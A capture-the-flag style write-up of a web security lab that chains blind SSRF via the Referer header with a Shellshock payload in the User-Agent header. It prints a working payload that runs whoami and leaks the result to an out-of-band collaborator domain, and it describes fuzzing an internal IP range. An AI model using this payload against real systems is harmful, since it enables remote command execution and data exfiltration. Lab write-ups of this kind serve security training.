TL;DR
Shellshock article to understand the topic. Collaborator Everywhere to ease the detection. Read with details the Lab to catch that
refereris used to fetch, and we need to find the correct internal server in the IP range. Note that Collaborator everywhere also raise an alert on theUser-Agentheader while browsing products which in our cas indicates the attack vector to leverage shellshock vulnerability.
Learning Material
Simply identifying a blind SSRF vulnerability that can trigger out-of-band HTTP requests doesn’t in itself provide a route to exploitability. Since you cannot view the response from the back-end request, the behavior can’t be used to explore content on systems that the application server can reach. However, it can still be leveraged to probe for other vulnerabilities on the server itself or on other back-end systems. You can blindly sweep the internal IP address space, sending payloads designed to detect well-known vulnerabilities. If those payloads also employ blind out-of-band techniques, then you might uncover a critical vulnerability on an unpatched internal server.
Lab
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
NOTE
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.
Write-up
I had to look up for the early part of the solution for this lab because never in my right mind would I have found it in a reasonable time. I keep in mind these labs are meant to practice as much as to learn and I try to evaluate how much time should I spent trying out before I consider it is too much.
First problem, I had not installed Burp Collaborator Everywhere. So after seeing the first step and going on the website, some alerts are raised on the target scope.
Now read cautiously the lab context : fetches the URL specified in the Referer header when a product page is loaded. This means our range of IP should be tested against the Referer header.
The User-Agent Header should be our attack vector for command execution, and if this doesn’t work we might test the other way around. The shellshock payload base according the the blog available in the TL;DR is the following :
() { :; };To which we add the command execution after.
Our goal is to exfiltrate the name of the OS user. So our command should send the output of whoami in the request to our Collaborator. Many tools allow this but ping might be the most common, though maybe flagged if used by the server. dig, getent don’t trigger the vulnerability as opposed to host, nslookup,ping.
() { :; }; ping $(whoami).ig2nsx661kaj0toz8swoo11jhan1bs2gr.oastify.comNow our payload for User-Agent is set, we can use the Intruder tool to fuzz on the IP range the same way we did for basic ssrf against another back-end system, but this time on the Referer Header like in blind ssrf with out-of-band detection.
Errors while trying
I was using https instead of http and saw no result while fuzzing, same thing for using
getent hostsinstead of the valid tools above.
The fuzzing gives us the name of the user and made a PoC of command execution.
This result can be submitted to solve the lab.